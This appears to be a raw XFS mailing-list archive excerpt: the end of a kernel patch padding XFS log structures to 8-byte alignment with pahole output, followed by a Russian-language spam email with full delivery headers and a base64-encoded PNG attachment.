when flushed */ unsigned int ili_fields; /* fields to be logged */ -} xfs_inode_log_item_t; + int pad; /* for 8-byte alignment */ +} __aligned(8); + +typedef struct xfs_inode_log_item xfs_inode_log_item_t; static inline int xfs_inode_clean(xfs_inode_t *ip) { diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index b0f4ef7..488833c 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -26,7 +26,8 @@ struct xfs_log_vec { char *lv_buf; /* formatted buffer */ int lv_buf_len; /* size of formatted buffer */ int lv_size; /* size of allocated lv */ -}; + int pad; /* for 8-byte alignment */ +} __aligned(8); #define XFS_LOG_VEC_ORDERED (-1) diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index f0969c7..d3174cb 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -184,11 +184,14 @@ typedef union xlog_in_core2 { } xlog_in_core_2_t; /* not an on-disk structure, but needed by log recovery in userspace */ -typedef struct xfs_log_iovec { +struct xfs_log_iovec { void *i_addr; /* beginning address of region */ int i_len; /* length in bytes of region */ uint i_type; /* type of region */ -} xfs_log_iovec_t; + int pad; /* for 8-byte alignment */ +} __aligned(8); + +typedef struct xfs_log_iovec xfs_log_iovec_t; /* -- 1.8.4 # ============================== AFTER =============================== # pahole reports: struct xfs_log_iovec { void * i_addr; /* 0 4 */ int i_len; /* 4 4 */ uint i_type; /* 8 4 */ int pad; /* 12 4 */ /* size: 16, cachelines: 1, members: 4 */ /* last cacheline: 16 bytes */ }; struct xfs_inode_log_item { xfs_log_item_t ili_item; /* 0 68 */ /* --- cacheline 1 boundary (64 bytes) was 4 bytes ago --- */ struct xfs_inode * ili_inode; /* 68 4 */ xfs_lsn_t ili_flush_lsn; /* 72 8 */ xfs_lsn_t ili_last_lsn; /* 80 8 */ short unsigned int ili_lock_flags; /* 88 2 */ short unsigned int ili_logged; /* 90 2 */ unsigned int ili_last_fields; /* 92 4 */ unsigned int ili_fields; /* 96 4 */ int pad; /* 100 4 */ /* size: 104, cachelines: 2, members: 9 */ /* last cacheline: 40 bytes */ }; struct xfs_log_vec { struct xfs_log_vec * lv_next; /* 0 4 */ int lv_niovecs; /* 4 4 */ struct xfs_log_iovec * lv_iovecp; /* 8 4 */ struct xfs_log_item * lv_item; /* 12 4 */ char * lv_buf; /* 16 4 */ int lv_buf_len; /* 20 4 */ int lv_size; /* 24 4 */ int pad; /* 28 4 */ /* size: 32, cachelines: 1, members: 8 */ /* last cacheline: 32 bytes */ }; From ivonina-tanya@gameprix.com Mon Jan 27 05:06:40 2014 Return-Path: <ivonina-tanya@gameprix.com> X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 384B47F5E for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 05:06:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 201FB304039 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 03:06:36 -0800 (PST) X-ASG-Debug-ID: 1390820788-04cbb05bac14a3e0001-NocioJ Received: from zircon.daxa.net (zircon.daxa.net [111.221.42.91]) by cuda.sgi.com with ESMTP id lBr1Fs1F1Vt4RWKv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 03:06:30 -0800 (PST) X-Barracuda-Envelope-From: ivonina-tanya@gameprix.com X-Barracuda-Apparent-Source-IP: 111.221.42.91 Received: from zircon.daxa.net (zircon.daxa.net [127.0.0.1]) by zircon.daxa.net (Postfix) with ESMTP id 70BCBE0F8141; Mon, 27 Jan 2014 18:06:18 +0700 (WIB) Received: from Unknown (unknown [5.141.113.23]) (Authenticated sender: jess@daxa.net) by zircon.daxa.net (Postfix) with ESMTPA id 329AFE0F8132; Mon, 27 Jan 2014 18:03:34 +0700 (WIB) Message-ID: <7B1E91E9675F4922B982794BE3D47169@bpydghy> Reply-To: =?windows-1251?B?0dLQzsjSxcvczdvJIMrOzdLQzsvc?= <chase@rambler.ru> From: =?windows-1251?B?0dLQzsjSxcvczdvJIMrOzdLQzsvc?= <ivonina-tanya@gameprix.com> To: <xfs@oss.sgi.com>, <mail@kirovskrus.spb.ru>, <hqgenesis@gmail.com>, <checkr@szrkt.spb.ru> Subject: =?windows-1251?B?0dLQzsjSxcvczdvJIMrOzdLQzsvcIC0g6PHv?= =?windows-1251?B?7uvt6PLl6/zt4P8g5O7q8+zl7fLg9uj/?= Date: Mon, 27 Jan 2014 12:03:09 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0dLQzsjSxcvczdvJIMrOzdLQzsvcIC0g6PHv?= =?windows-1251?B?7uvt6PLl6/zt4P8g5O7q8+zl7fLg9uj/?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1003_01CF1B57.BE8D26E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: zircon.daxa.net[111.221.42.91] X-Barracuda-Start-Time: 1390820790 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144526 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1003_01CF1B57.BE8D26E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1004_01CF1B57.BE8D26E0" ------=_NextPart_001_1004_01CF1B57.BE8D26E0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8= =FE =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 ------=_NextPart_001_1004_01CF1B57.BE8D26E0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1251" http-equiv=3DContent-= Type> <META name=3DGENERATOR content=3D"MSHTML 9.00.8112.16437"> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV>=CF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0= =F6=E8=FE =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=E0</DIV></BODY></HTML> ------=_NextPart_001_1004_01CF1B57.BE8D26E0-- ------=_NextPart_000_1003_01CF1B57.BE8D26E0 Content-Type: image/png; name="=?windows-1251?B?z+7k4+7y7uLq4CDo8e/u6+3o8uXr/O3u6SDk?= =?windows-1251?B?7urz7OXt8uD26Ogg6iDo8u7j7uLu6SDv8O7i?= =?windows-1251?B?5fDq5Swg7vHz+eXx8uLr/+Xs7ukg7vDj4O3g?= =?windows-1251?B?7Ogg4+7x8+Tg8PHy4uXt7e7j7iDx8vDu6PLl?= =?windows-1251?B?6/zt7uPuIO3g5Ofu8OAucG5n?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?z+7k4+7y7uLq4CDo8e/u6+3o8uXr/O3u6SDk?= =?windows-1251?B?7urz7OXt8uD26Ogg6iDo8u7j7uLu6SDv8O7i?= =?windows-1251?B?5fDq5Swg7vHz+eXx8uLr/+Xs7ukg7vDj4O3g?= =?windows-1251?B?7Ogg4+7x8+Tg8PHy4uXt7e7j7iDx8vDu6PLl?= =?windows-1251?B?6/zt7uPuIO3g5Ofu8OAucG5n?=" iVBORw0KGgoAAAANSUhEUgAACbIAAA20CAIAAAClK75nAAAAAXNSR0IArs4c6QAAAARnQU1BAACx jwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAP+lSURBVHhe7N3bmqy4sS5Qv/9L711e2JhGSPol IA/k6Iv+2nMKKWKEIKsUpupf/88/BAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQeLTAvx6d neQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECDw/7RFbQICBAgQIECAAAECBAgQIECAAAEC BAgQIECAAAECBB4uoC368AJLjwABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABbVF7gAABAgQI ECBAgAABAgQIECBAgAABAgQIECBAgACBhwtoiz68wNIjQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE CBAgQEBb1B4gQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQODhAtqiDy+w9AgQIECAAAECBAgQ IECAAAECBAgQIECAAAECBAgQ0Ba1BwgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQeLiAtujD Cyw9AgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgS0Re0BAgQIECBAgAABAgQIECBAgAABAgQI ECBAgAABAgQeLqAt+vACS48AAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAW1Re4AAAQIECBAg QIAAAQIECBAgQIAAAQIECBAgQIAAgYcLaIs+vMDSI0CAAAECBAgQIECAAAECBAgQIECAAAECBAgQ IEBAW9QeIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIEDg4QLaog8vsPQIECBAgAABAgQIECBA gAABAgQIECBAgAABAgQIENAWtQcIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIEHi4gLbowwss PQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEtEXtAQIECBAgQIAAAQIECBAgQIAAAQIECBAg QIAAAQIEHi6gLfrwAkuPAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAFtUXuAAAECBAgQIECA AAECBAgQIECAAAECBAgQIECAAIGHC2iLPrzA0iNAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBA QFvUHiBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBA4OEC2qIPL7D0CBAgQIAAAQIECBAgQIAA AQIECBAgQIAAAQIECBDQFrUHCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBB4uIC26MMLLD0C BAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBLRF7QECBAgQIECAAAECBAgQIECAAAECBAgQIECA AAECBB4uoC368AJLjwABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABbVF7gAABAgQIECBAgAAB AgQIECBAgAABAgQIECBAgACBhwtoiz68wNIjQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQEBb 1B4gQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQODhAtqiDy+w9AgQIECAAAECBAgQIECAAAEC BAgQIECAAAECBAgQ0Ba1BwgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQeLiAtujDCyw9AgQI ECBAgAABAgQIECBAgAABAgQIECBAgAABAgS0Re0BAgQIECBAgAABAgQIECBAgAABAgQIECBAgAAB AgQeLqAt+vACS48AAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAW1Re4AAAQIECBAgQIAAAQIE CBAgQIAAAQIECBAgQIAAgYcLaIs+vMDSI0CAAAECBAgQIECAAAECBAgQIECAAAECBAgQIEBAW9Qe IECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIEDg4QLaog8vsPQIECBAgAABAgQIECBAgAABAgQI ECBAgAABAgQIENAWtQcIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIEHi4gLbowwssPQIECBAg QIAAAQIECBAgQIAAAQIECBAgQIAAAQIEtEXtAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE Hi6gLfrwAkuPAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAFtUXuAAAECBAgQIECAAAECBAgQ IECAAAECBAgQIECAAIGHC2iLPrzA0iNAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAQFvUHiBA gAABAgQIECBAgAABAgQIECBAgAABAgQIECBA4OEC2qIPL7D0CBAgQIAAAQIECBAgQIAAAQIECBAg QIAAAQIECBDQFrUHCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBB4uIC26MMLLD0CBAgQIECA AAECBAgQIECAAAECBAgQIECAAAECBLRF7QECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBB4u oC368AJLjwABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABbVF7gAABAgQIECBAgAABAgQIECBA gAABAgQIECBAgACBhwtoiz68wNIjQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQEBb1B4gQIAA AQIECBAgQIAAAQIECBAgQIAAAQIECBAgQODhAtqiDy+w9AgQIECAAAECBAgQIECAAAECBAgQIECA AAECBAgQ0Ba1BwgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQeLiAtujDCyw9AgQIECBAgAAB AgQIECBAgAABAgQIECBAgAABAgS0Re0BAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQeLqAt +vACS48AAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAW1Re4AAAQIECBAgQIAAAQIECBAgQIAA AQIECBAgQIAAgYcLaIs+vMDSI0CAAAECBAgQIECAAAECBAgQIECAAAECBAgQIEBAW9QeIECAAAEC BAgQIECAAAECBAgQIECAAAECBAgQIEDg4QLaog8vsPQIECBAgAABAgQIECBAgAABAgQIECBAgAAB AgQIENAWtQcIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIEHi4gLbowwssPQIECBAgQIAAAQIE CBAgQIAAAQIECBAgQIAAAQIEtEXtAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEHi6gLfrw AkuPAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAFtUXuAAAECBAgQIECAAAECBAgQIECAAAEC BAgQIECAAIGHC2iLPrzA0iNAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAQFvUHiBAgAABAgQI ECBAgAABAgQIECBAgAABAgQIECBA4OEC2qIPL7D0CBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE CBDQFrUHCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBB4uIC26MMLLD0CBAgQIECAAAECBAgQ IECAAAECBAgQIECAAAECBLRF7QECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBB4uoC368AJL jwABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABbVF7gAABAgQIECBAgAABAgQIECBAgAABAgQI ECBAgACBhwtoiz68wNIjQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQEBb1B4gQIAAAQIECBAg QIAAAQIECBAgQIAAAQIECBAgQODhAtqiDy+w9AgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQ 0Ba1BwgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQeLiAtujDCyw9AgQIECBAgAABAgQIECBA gAABAgQIECBAgAABAgS0Re0BAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQeLqAt+vACS48A AQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAW1Re4AAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg QIAAgYcLaIs+vMDSI0CAAAECBAgQIECAAAECBAgQIECAAAECBAgQIEBAW9QeIECAAAECBAgQIECA AAECBAgQIECAAAECBAgQIEDg4QLaog8vsPQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIENAW tQcIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIEHi4gLbowwssPQIECBAgQIAAAQIECBAgQIAA AQIECBAgQIAAAQIEtEXtAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEHi6gLfrwAkuPAAEC BAgQIECAAAECBAgQIECAAAECBAgQIECAAAFtUXuAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECA AIGHC2iLPrzA0iNAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAQFvUHiBAgAABAgQIECBAgAAB AgQIECBAgAABAgQIECBA4OEC2qIPL7D0CBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBDQFrUH CBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBB4uIC26MMLLD0CBAgQIECAAAECBAgQIECAAAEC BAgQIECAAAECBLRF7QECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBB4uoC368AJLjwABAgQI ECBAgAABAgQIECBAgAABAgQIECBAgAABbVF7gAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgACB hwtoiz68wNIjQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQEBb1B4gQIAAAQIECBAgQIAAAQIE CBAgQIAAAQIECBAgQODhAtqiDy+w9AgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQ0Ba1BwgQ IECAAAECBAgQIECAAAECBAgQIECAAAECBAgQeLiAtujDCyw9AgQIECBAgAABAgQIECBAgAABAgQI ECBAgAABAgS0Re0BAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQeLqAt+vACS48AAQIECBAg QIAAAQIECBAgQIAAAQIECBAgQIAAAW1Re4AAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgYcL aIs+vMDSI0CAAAECBAgQIECAAAECBAgQIECAAAECBAgQIEBAW9QeIECAAAECBAgQIECAAAECBAgQ IECAAAECBAgQIEDg4QLaog8vsPQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIENAWtQcIECBA gMCAwL/++8/ANYYSIECAAAECBAgQIECAAAECBAgQIECAwLsFtEXfXQHrEyBAgMC3Cfw1RidCnrtq YiGXECBAgAABAgQIECBAgAABAgQIECBAgEApMHOwy5EAAQIECDxAYPq9z+XCIYHptYZWMZgAAQIE CBAgQIAAAQIECBAgQIAAAQIEagJjp7ocCRAgQIDAkwRGu5tL7q+86knaciFAgAABAgQIECBAgAAB AgQIECBAgMAbBbRF34hvaQIECBB4p0DyBufSAd39e+Jt0WWSuX7qO42sTYAAAQIECBAgQIAAAQIE CBAgQIAAgacIaIs+pZLyIECAAIFxgaRPue2eJp3UWhTJWuMZuIIAAQIECBAgQIAAAQIECBAgQIAA AQIEIgFt0YjJIAIECBB4pED4BufaDd3+xwSIzugEmksIECBAgAABAgQIECBAgAABAgQIECBwiYC2 6CWMJiFAgACBLxCYe+9z/Qm6aw816W7OrfUFiEIkQIAAAQIECBAgQIAAAQIECBAgQIDAdwpoi35n 3URNgAABAoMCh298dt8WrV2VLH7VO6bJWsYQIECAAAECBAgQIECAAAECBAgQIECAQFtAW9QOIUCA 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 